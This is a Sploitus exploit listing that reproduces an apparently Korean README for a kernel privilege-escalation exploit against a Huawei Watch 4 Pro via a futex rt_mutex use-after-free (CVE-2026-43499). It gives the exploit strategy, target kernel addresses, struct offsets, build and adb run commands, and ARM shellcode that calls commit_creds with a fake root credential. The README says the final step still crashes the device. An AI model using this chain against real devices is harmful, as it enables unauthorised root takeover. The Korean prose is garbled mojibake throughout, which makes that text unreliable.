Sploitus

Exploit for ghostlock

kitploit ยท 2026-08-19

Exploit Code

MARKDOWN132 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GITCHW-GHOSTLOCK-CVE-2026-43499
# CVE-2026-43499 (GhostLock) โ€” ARM32 ์ปค๋„ ๊ถŒํ•œ ์ƒ์Šน ์—ฐ๊ตฌ

Linux ์ปค๋„ futex PI rt_mutex Use-After-Free ์ทจ์•ฝ์  ์—ฐ๊ตฌ ๋ฐ **Huawei Watch 4 Pro (MDS-AL00)** , Snapdragon SW5100, armv7l, ์ปค๋„ 5.4.210์„ ๋Œ€์ƒ์œผ๋กœ ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฐœ๋ฐœ.

## ์ทจ์•ฝ์ 

kernel/locking/rt_mutex.c์˜ `remove_waiter()`๋Š” ํ”„๋ก์‹œ ์ž ๊ธˆ ๋กค๋ฐฑ ๊ณผ์ •์—์„œ `waiter->task` ๋Œ€์‹  `current`๋ฅผ ์ž˜๋ชป ์‚ฌ์šฉํ•˜์—ฌ ์›จ์ดํ„ฐ ํƒœ์Šคํฌ์˜ `pi_blocked_on`์„ ์ง€์šฐ์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ ์›จ์ดํ„ฐ์˜ ์ปค๋„ ์Šคํƒ ํ”„๋ ˆ์ž„์ด ํ•ด์ œ๋œ ๋’ค์—๋„ `task_struct`์—์„œ ์Šคํƒ์— ํ• ๋‹น๋œ `rt_mutex_waiter`๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋Œ•๊ธ€๋ง ํฌ์ธํ„ฐ๊ฐ€ ๋‚จ์Šต๋‹ˆ๋‹ค โ€” ์ „ํ˜•์ ์ธ ์Šคํƒ Use-After-Free์ž…๋‹ˆ๋‹ค.

## ์ต์Šคํ”Œ๋กœ์ž‡ ์ „๋žต

  1. **๋Œ•๊ธ€๋ง ํฌ์ธํ„ฐ** โ€” ์„ธ ๊ฐœ์˜ ์Šค๋ ˆ๋“œ์— ๊ฑธ์ณ `futex(FUTEX_CMP_REQUEUE_PI)`๋ฅผ ํ†ตํ•ด EDEADLK ๋กค๋ฐฑ์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ์›จ์ดํ„ฐ์˜ `pi_blocked_on`์€ ํ•ด์ œ๋œ ์Šคํƒ์„ ๊ฐ€๋ฆฌํ‚ต๋‹ˆ๋‹ค.
  2. **์Šคํƒ ์Šคํ”„๋ ˆ์ด(์Šคํƒฌํ”„)** โ€” `prctl(PR_SET_NAME)`(์˜ต์…˜ 15, ๊ถŒํ•œ ์—†์Œ)์„ ์‚ฌ์šฉํ•˜์—ฌ ์ œ์–ด๋œ 15๋ฐ”์ดํŠธ ๋ฐ์ดํ„ฐ๋ฅผ ์ปค๋„ ์Šคํƒ์— ๋ณต์‚ฌํ•ด ๊ฐ€์งœ ์›จ์ดํ„ฐ์˜ `task`/`lock`/`prio` ํ•„๋“œ๋ฅผ ๋ฎ์–ด์”๋‹ˆ๋‹ค.
  3. **์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ** โ€” `sched_setattr()` ํ˜ธ์ถœ์ด PI ์ฒด์ธ ์›Œํฌ๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค. ๊ฐ€์งœ ์›จ์ดํ„ฐ๋Š” ์ปค๋„ `file_operations` ๊ตฌ์กฐ์ฒด์™€ ๊ฒน์น˜๋Š” ์œ„์กฐ๋œ `rt_mutex`์— ์‚ฝ์ž…๋ฉ๋‹ˆ๋‹ค. ๋ ˆ๋“œ-๋ธ”๋ž™ ํŠธ๋ฆฌ ์‚ฝ์ž…์ด ์›จ์ดํ„ฐ์˜ ์ปค๋„ ์Šคํƒ ์ฃผ์†Œ๋ฅผ `fops->unlocked_ioctl`์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.
  4. **์ฝ”๋“œ ์‹คํ–‰** โ€” ์œ„์น˜ ๋…๋ฆฝ ARM ์…ธ์ฝ”๋“œ๋กœ ์›จ์ดํ„ฐ๋ฅผ ๋‹ค์‹œ ์Šคํƒฌํ”„ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์บ๋ฆญํ„ฐ ๋””๋ฐ”์ด์Šค๋ฅผ ์—ด๊ณ  `ioctl()`์„ ํ˜ธ์ถœํ•˜๋ฉด, ๋ฎ์–ด์“ด `unlocked_ioctl` ํฌ์ธํ„ฐ๋ฅผ ํ†ตํ•ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ปค๋„ ์Šคํƒ์˜ ์…ธ์ฝ”๋“œ๋กœ ๋””์ŠคํŒจ์น˜๋ฉ๋‹ˆ๋‹ค.
  5. **๊ถŒํ•œ ์ƒ์Šน** โ€” ์…ธ์ฝ”๋“œ๊ฐ€ `commit_creds(waiter)`๋ฅผ ํ˜ธ์ถœํ•˜๋ฉฐ, ์—ฌ๊ธฐ์„œ ์›จ์ดํ„ฐ์˜ ์ฒซ ๋ฒˆ์งธ ํ•„๋“œ(`rb_insert_color`๊ฐ€ ์„ค์ •)๋Š” uid/gid = 0์ธ ๊ฐ€์งœ `struct cred`๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค.



## ํ˜„์žฌ ์ƒํƒœ

  * UAF ํŠธ๋ฆฌ๊ฑฐ: **๋™์ž‘ ํ™•์ธ๋จ** (๊ธฐ๊ธฐ์—์„œ ๊ฒ€์ฆ๋จ)
  * prctl์„ ํ†ตํ•œ ์Šคํƒ ์Šคํƒฌํ”„: **๋™์ž‘ ํ™•์ธ๋จ**
  * ๋‹จ์ผ ์ปค๋„ ์Šคํƒ ์ฃผ์†Œ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ: **๋™์ž‘ ํ™•์ธ๋จ** (`fops->unlocked_ioctl`์„ ์›จ์ดํ„ฐ ์Šคํƒ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”€)
  * ์ปค๋„ ์Šคํƒ ์‹คํ–‰ ๊ฐ€๋Šฅ ํ™•์ธ๋จ (BSS/์Šคํƒ ์˜์—ญ์— PXN/NX ์—†์Œ)
  * ์…ธ์ฝ”๋“œ๋กœ์˜ ioctl ๋””์ŠคํŒจ์น˜: **๊ธฐ๊ธฐ ์žฌ๋ถ€ํŒ… ์œ ๋ฐœ** โ€” ์กฐ์‚ฌ ์ค‘ (Cortex-A7์˜ rb_insert_color / ์ฒด์ธ ์›Œํฌ ๊ฒฝ๋กœ์—์„œ ์„ผํ‹ฐ๋„ UNPREDICTABLE ๋ช…๋ น ๋˜๋Š” ๋ ˆ์ง€์Šคํ„ฐ ์†์ƒ์œผ๋กœ ์ถ”์ •)



## ๋Œ€์ƒ ๊ธฐ๊ธฐ

## ์ฃผ์š” ์ปค๋„ ์ฃผ์†Œ

root@kitploit:~
    
    
    kernel base          0xC0008000
    syscall table        0xc0101264
    do_vfs_ioctl         0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
    commit_creds         0xc014cac8  (fast path, bx lr clean return)
    rt_mutex_enqueue     0xc019c660
    rb_insert_color      0xc104a918
    init_task            0xc1b11640
    init_cred            0xc1b17e60
    null_fops (/dev/null) 0xc141f5b0
    FAKE_LOCK            0xc141f5d4  (null_fops + 0x24)
    write target         0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
    

## ์ €์žฅ์†Œ ๊ตฌ์กฐ

root@kitploit:~
    
    
    .
    โ”œโ”€โ”€ README.md                  # This file
    โ”œโ”€โ”€ boot.img                   # Target device boot image (32 MB)
    โ”œโ”€โ”€ exploit/
    โ”‚   โ”œโ”€โ”€ ghostlock_arm32.c      # Main ARM32 exploit source
    โ”‚   โ”œโ”€โ”€ ghostlock_arm32.h      # Exploit definitions header
    โ”‚   โ”œโ”€โ”€ ghostlock_arm32        # Compiled static ARM binary
    โ”‚   โ”œโ”€โ”€ ghostlock_poc1.c       # Initial crash POC
    โ”‚   โ””โ”€โ”€ nebula_poc.c           # Nebula team reference POC
    โ”œโ”€โ”€ kernel/
    โ”‚   โ”œโ”€โ”€ kernel_raw.bin         # Uncompressed kernel binary (28 MB)
    โ”‚   โ””โ”€โ”€ kallsyms_parsed.txt    # Extracted kernel symbol table
    โ”œโ”€โ”€ analysis/                  # 670+ Capstone-based reverse engineering
    โ”‚   โ”œโ”€โ”€ *.py                   # scripts and disassembly outputs used
    โ”‚   โ””โ”€โ”€ *.txt                  # during the research process
    โ””โ”€โ”€ references/
        โ”œโ”€โ”€ ghostlock/             # Earlier exploit iterations (PoC through
        โ”‚   โ”œโ”€โ”€ src/               # tracepoint/cred/oneplus variants)
        โ”‚   โ”œโ”€โ”€ bin/               # Compiled earlier versions
        โ”‚   โ”œโ”€โ”€ old/               # Initial crash PoCs
        โ”‚   โ”œโ”€โ”€ README.md
        โ”‚   โ””โ”€โ”€ RESEARCH_NOTES.md
        โ””โ”€โ”€ ref_tc3650/            # TC3650 ARM32 reference exploit materials
    

## ๋นŒ๋“œ

root@kitploit:~
    
    
    arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
    

## ์‹คํ–‰

root@kitploit:~
    
    
    adb push ghostlock_arm32 /data/local/tmp/
    adb shell chmod +x /data/local/tmp/ghostlock_arm32
    adb shell /data/local/tmp/ghostlock_arm32
    

## ์…ธ์ฝ”๋“œ

waiter+0x18์— ์Šคํƒฌํ”„๋˜๋Š” 12๋ฐ”์ดํŠธ ์œ„์น˜ ๋…๋ฆฝ ARM Thumb ์…ธ์ฝ”๋“œ:

root@kitploit:~
    
    
    sub r0, pc, #0x20      @ r0 = waiter (fake cred), PC-relative
    ldr pc, [pc, #-4]      @ jump to commit_creds
    .word 0xc014cac8       @ commit_creds address
    

`commit_creds()` ๊ณ ์† ๊ฒฝ๋กœ๋Š” `current->cred = r0`๋ฅผ ๊ธฐ๋กํ•œ ๋’ค `bx lr`์„ ํ†ตํ•ด `do_vfs_ioctl`๋กœ ๋ณต๊ท€ํ•˜๋ฉฐ, ์ดํ›„ ์ •์ƒ์ ์œผ๋กœ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„์œผ๋กœ ๋ฐ˜ํ™˜๋ฉ๋‹ˆ๋‹ค.

## file_operations ๋ ˆ์ด์•„์›ƒ ์ฐธ๊ณ  ์‚ฌํ•ญ

์ด ๋ฒค๋” ์ปค๋„์˜ `struct file_operations`๋Š” ์˜คํ”„์…‹ +0x24(`poll`๊ณผ `unlocked_ioctl` ์‚ฌ์ด)์— 4๋ฐ”์ดํŠธ ์ถ”๊ฐ€ ํ•„๋“œ๊ฐ€ ์žˆ์–ด, ํ‘œ์ค€ Linux 5.4์™€ ๋น„๊ตํ•˜์—ฌ ์ดํ›„์˜ ๋ชจ๋“  ๋ฉค๋ฒ„๊ฐ€ 4๋ฐ”์ดํŠธ์”ฉ ๋ฐ€๋ฆฝ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    +0x04 llseek        +0x20 poll
    +0x08 read          +0x24 <vendor extra>
    +0x0c write         +0x28 unlocked_ioctl
    +0x10 read_iter     +0x2c compat_ioctl
    +0x14 write_iter    +0x30 mmap
    +0x18 iterate       +0x38 open
    +0x1c iterate_shared +0x40 release
    

์ด๋Š” ashmem ๋ฐ null fops ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”ํ•˜์—ฌ ํ™•์ธ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

## ๋ฉด์ฑ… ์กฐํ•ญ

์ด ์ €์žฅ์†Œ๋Š” **๋ณด์•ˆ ์—ฐ๊ตฌ ๋ฐ ๊ต์œก ๋ชฉ์ ์œผ๋กœ๋งŒ** ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์†Œ์œ ํ•˜์ง€ ์•Š์•˜๊ฑฐ๋‚˜ ํ…Œ์ŠคํŠธ ๊ถŒํ•œ์ด ์—†๋Š” ๊ธฐ๊ธฐ์—๋Š” ์ด๋Ÿฌํ•œ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.